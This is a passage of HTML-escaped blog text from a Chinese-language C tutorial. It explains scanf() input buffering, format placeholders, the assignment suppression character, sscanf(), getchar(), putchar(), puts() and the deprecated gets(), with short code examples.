class=\"number\"\u003e-4.0e3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,用户分成四行输入,得到的结果与一行输入是完全一样的。每次按下回车键以后,\u003ccode\u003escanf()\u003c/code\u003e就会开始解读,如果第一行匹配第一个占位符,那么下次按下回车键时,就会从第二个占位符开始解读。\u003c/p\u003e\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e处理用户输入的原理是,用户的输入先放入缓存,等到按下回车键后,按照占位符对缓存进行解读。解读用户输入时,会从上一次解读遗留的第一个字符开始,直到读完缓存,或者遇到第一个不符合条件的字符为止。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 用户输入 \u0026#34; -13.45e12## 0\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;x);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f\u0026#34;\u003c/span\u003e, \u0026amp;y);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003escanf()\u003c/code\u003e读取用户输入时,\u003ccode\u003e%d\u003c/code\u003e占位符会忽略起首的空格,从\u003ccode\u003e-\u003c/code\u003e处开始获取数据,读取到\u003ccode\u003e-13\u003c/code\u003e停下来,因为后面的\u003ccode\u003e.\u003c/code\u003e不属于整数的有效字符。这就是说,占位符\u003ccode\u003e%d\u003c/code\u003e会读到\u003ccode\u003e-13\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e第二次调用\u003ccode\u003escanf()\u003c/code\u003e时,就会从上一次停止解读的地方,继续往下读取。这一次读取的首字符是\u003ccode\u003e.\u003c/code\u003e,由于对应的占位符是\u003ccode\u003e%f\u003c/code\u003e,会读取到\u003ccode\u003e.45e12\u003c/code\u003e,这是采用科学计数法的浮点数格式。后面的\u003ccode\u003e#\u003c/code\u003e不属于浮点数的有效字符,所以会停在这里。\u003c/p\u003e\u003cp\u003e由于\u003ccode\u003escanf()\u003c/code\u003e可以连续处理多个占位符,所以上面的例子也可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d%f\u0026#34;\u003c/span\u003e, \u0026amp;x, \u0026amp;y);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e的返回值是一个整数,表示成功读取的变量个数。如果没有读取任何项,或者匹配失败,则返回\u003ccode\u003e0\u003c/code\u003e。如果读取到文件结尾,则返回常量 EOF。\u003c/p\u003e\u003ch4 id=\"占位符-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8D%A0%E4%BD%8D%E7%AC%A6-1\" class=\"headerlink\" title=\"占位符\"\u003e\u003c/a\u003e占位符\u003c/h4\u003e\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e常用的占位符如下,与\u003ccode\u003eprintf()\u003c/code\u003e的占位符基本一致。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e%c\u003c/code\u003e:字符。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%d\u003c/code\u003e:整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%f\u003c/code\u003e:\u003ccode\u003efloat\u003c/code\u003e类型浮点数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%lf\u003c/code\u003e:\u003ccode\u003edouble\u003c/code\u003e类型浮点数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%Lf\u003c/code\u003e:\u003ccode\u003elong double\u003c/code\u003e类型浮点数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%s\u003c/code\u003e:字符串。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%[]\u003c/code\u003e:在方括号中指定一组匹配的字符(比如\u003ccode\u003e%[0-9]\u003c/code\u003e),遇到不在集合之中的字符,匹配将会停止。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面所有占位符之中,除了\u003ccode\u003e%c\u003c/code\u003e以外,都会自动忽略起首的空白字符。\u003ccode\u003e%c\u003c/code\u003e不忽略空白字符,总是返回当前第一个字符,无论该字符是否为空格。如果要强制跳过字符前的空白字符,可以写成\u003ccode\u003escanf(\u0026#34; %c\u0026#34;, \u0026amp;ch)\u003c/code\u003e,即\u003ccode\u003e%c\u003c/code\u003e前加上一个空格,表示跳过零个或多个空白字符。\u003c/p\u003e\u003cp\u003e下面要特别说一下占位符\u003ccode\u003e%s\u003c/code\u003e,它其实不能简单地等同于字符串。它的规则是,从当前第一个非空白字符开始读起,直到遇到空白字符(即空格、换行符、制表符等)为止。因为\u003ccode\u003e%s\u003c/code\u003e不会包含空白字符,所以无法用来读取多个单词,除非多个\u003ccode\u003e%s\u003c/code\u003e一起使用。这也意味着,\u003ccode\u003escanf()\u003c/code\u003e不适合读取可能包含空格的字符串,比如书名或歌曲名。另外,\u003ccode\u003escanf()\u003c/code\u003e遇到\u003ccode\u003e%s\u003c/code\u003e占位符,会在字符串变量末尾存储一个空字符\u003ccode\u003e\\0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e将字符串读入字符数组时,不会检测字符串是否超过了数组长度。所以,储存字符串时,很可能会超过数组的边界,导致预想不到的结果。为了防止这种情况,使用\u003ccode\u003e%s\u003c/code\u003e占位符时,应该指定读入字符串的最长长度,即写成\u003ccode\u003e%[m]s\u003c/code\u003e,其中的\u003ccode\u003e[m]\u003c/code\u003e是一个整数,表示读取字符串的最大长度,后面的字符将被丢弃。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e name[\u003cspan class=\"number\"\u003e11\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%10s\u0026#34;\u003c/span\u003e, name);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ename\u003c/code\u003e是一个长度为11的字符数组,\u003ccode\u003escanf()\u003c/code\u003e的占位符\u003ccode\u003e%10s\u003c/code\u003e表示最多读取用户输入的10个字符,后面的字符将被丢弃,这样就不会有数组溢出的风险了。\u003c/p\u003e\u003ch4 id=\"赋值忽略符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%B5%8B%E5%80%BC%E5%BF%BD%E7%95%A5%E7%AC%A6\" class=\"headerlink\" title=\"赋值忽略符\"\u003e\u003c/a\u003e赋值忽略符\u003c/h4\u003e\u003cp\u003e有时,用户的输入可能不符合预定的格式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d-%d-%d\u0026#34;\u003c/span\u003e, \u0026amp;year, \u0026amp;month, \u0026amp;day);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果用户输入\u003ccode\u003e2020-01-01\u003c/code\u003e,就会正确解读出年、月、日。问题是用户可能输入其他格式,比如\u003ccode\u003e2020/01/01\u003c/code\u003e,这种情况下,\u003ccode\u003escanf()\u003c/code\u003e解析数据就会失败。\u003c/p\u003e\u003cp\u003e为了避免这种情况,\u003ccode\u003escanf()\u003c/code\u003e提供了一个赋值忽略符(assignment suppression character)\u003ccode\u003e*\u003c/code\u003e。只要把\u003ccode\u003e*\u003c/code\u003e加在任何占位符的百分号后面,该占位符就不会返回值,解析后将被丢弃。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d%*c%d%*c%d\u0026#34;\u003c/span\u003e, \u0026amp;year, \u0026amp;month, \u0026amp;day);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e%*c\u003c/code\u003e就是在占位符的百分号后面,加入了赋值忽略符\u003ccode\u003e*\u003c/code\u003e,表示这个占位符没有对应的变量,解读后不必返回。\u003c/p\u003e\u003ch3 id=\"sscanf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#sscanf\" class=\"headerlink\" title=\"sscanf()\"\u003e\u003c/a\u003esscanf()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esscanf()\u003c/code\u003e函数与\u003ccode\u003escanf()\u003c/code\u003e很类似,不同之处是\u003ccode\u003esscanf()\u003c/code\u003e从字符串里面,而不是从用户输入获取数据。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esscanf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* format, ...)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003esscanf()\u003c/code\u003e的第一个参数是一个字符串指针,用来从其中获取数据。其他参数都与\u003ccode\u003escanf()\u003c/code\u003e相同。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esscanf()\u003c/code\u003e主要用来处理其他输入函数读入的字符串,从其中提取数据。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efgets(str, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(str), \u003cspan class=\"built_in\"\u003estdin\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esscanf\u003c/span\u003e(str, \u003cspan class=\"string\"\u003e\u0026#34;%d%d\u0026#34;\u003c/span\u003e, \u0026amp;i, \u0026amp;j);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efgets()\u003c/code\u003e先从标准输入获取了一行数据(\u003ccode\u003efgets()\u003c/code\u003e的介绍详见下一章),存入字符数组\u003ccode\u003estr\u003c/code\u003e。然后,\u003ccode\u003esscanf()\u003c/code\u003e再从字符串\u003ccode\u003estr\u003c/code\u003e里面提取两个整数,放入变量\u003ccode\u003ei\u003c/code\u003e和\u003ccode\u003ej\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esscanf()\u003c/code\u003e的一个好处是,它的数据来源不是流数据,所以可以反复使用,不像\u003ccode\u003escanf()\u003c/code\u003e的数据来源是流数据,只能读取一次。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esscanf()\u003c/code\u003e的返回值是成功赋值的变量的数量,如果提取失败,返回常量 EOF。\u003c/p\u003e\u003ch3 id=\"getchar-,putchar\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#getchar-%EF%BC%8Cputchar\" class=\"headerlink\" title=\"getchar(),putchar()\"\u003e\u003c/a\u003egetchar(),putchar()\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e(1)getchar()\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003egetchar()\u003c/code\u003e函数返回用户从键盘输入的一个字符,使用时不带有任何参数。程序运行到这个命令就会暂停,等待用户从键盘输入,等同于使用\u003ccode\u003escanf()\u003c/code\u003e方法读取一个字符。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e ch;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ech = getchar();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c\u0026#34;\u003c/span\u003e, \u0026amp;ch);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003egetchar()\u003c/code\u003e不会忽略起首的空白字符,总是返回当前读取的第一个字符,无论是否为空格。如果读取失败,返回常量 EOF,由于 EOF 通常是\u003ccode\u003e-1\u003c/code\u003e,所以返回值的类型要设为 int,而不是 char。\u003c/p\u003e\u003cp\u003e由于\u003ccode\u003egetchar()\u003c/code\u003e返回读取的字符,所以可以用在循环条件之中。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (getchar() != \u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,只有读到的字符等于换行符(\u003ccode\u003e\\n\u003c/code\u003e),才会退出循环,常用来跳过某行。\u003ccode\u003ewhile\u003c/code\u003e循环的循环体没有任何语句,表示对该行不执行任何操作。\u003c/p\u003e\u003cp\u003e下面的例子是计算某一行的字符长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e len = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(getchar() != \u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e len++;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003egetchar()\u003c/code\u003e每读取一个字符,长度变量\u003ccode\u003elen\u003c/code\u003e就会加1,直到读取到换行符为止,这时\u003ccode\u003elen\u003c/code\u003e就是该行的字符长度。\u003c/p\u003e\u003cp\u003e下面的例子是跳过空格字符。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e ((ch = getchar()) == \u003cspan class=\"string\"\u003e\u0026#39; \u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,结束循环后,变量\u003ccode\u003ech\u003c/code\u003e等于第一个非空格字符。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e(2)putchar()\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003eputchar()\u003c/code\u003e函数将它的参数字符输出到屏幕,等同于使用\u003ccode\u003eprintf()\u003c/code\u003e输出一个字符。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(ch);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c\u0026#34;\u003c/span\u003e, ch);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e操作成功时,\u003ccode\u003eputchar()\u003c/code\u003e返回输出的字符,否则返回常量 EOF。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e(3)小结\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e由于\u003ccode\u003egetchar()\u003c/code\u003e和\u003ccode\u003eputchar()\u003c/code\u003e这两个函数的用法,要比\u003ccode\u003escanf()\u003c/code\u003e和\u003ccode\u003eprintf()\u003c/code\u003e更简单,而且通常是用宏来实现,所以要比\u003ccode\u003escanf()\u003c/code\u003e和\u003ccode\u003eprintf()\u003c/code\u003e更快。如果操作单个字符,建议优先使用这两个函数。\u003c/p\u003e\u003ch3 id=\"puts\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#puts\" class=\"headerlink\" title=\"puts()\"\u003e\u003c/a\u003eputs()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eputs()\u003c/code\u003e函数用于将参数字符串显示在屏幕(stdout)上,并且自动在字符串末尾添加换行符。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Here are some messages:\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eputs()\u003c/code\u003e在屏幕上输出两行内容。\u003c/p\u003e\u003cp\u003e写入成功时,\u003ccode\u003eputs()\u003c/code\u003e返回一个非负整数,否则返回常量 EOF。\u003c/p\u003e\u003ch3 id=\"gets\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#gets\" class=\"headerlink\" title=\"gets()\"\u003e\u003c/a\u003egets()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003egets()\u003c/code\u003e函数以前用于从\u003ccode\u003estdin\u003c/code\u003e读取整行输入,现在已经被废除了,仍然放在这里介绍一下。\u003c/p\u003e\u003cp\u003e该函数读取用户的一行输入,不会跳过起始处的空白字符,直到遇到换行符为止。这个函数会丢弃换行符,将其余字符放入参数变量,并在这些字符的末尾添加一个空字符\u003ccode\u003e\\0\u003c/code\u003e,使其成为一个字符串。\u003c/p\u003e\u003cp\u003e它经常与\u003ccode\u003eputs()\u003c/code\u003e配合使用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e words[\u003cspan class=\"number\"\u003e81\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Enter a string, please\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan 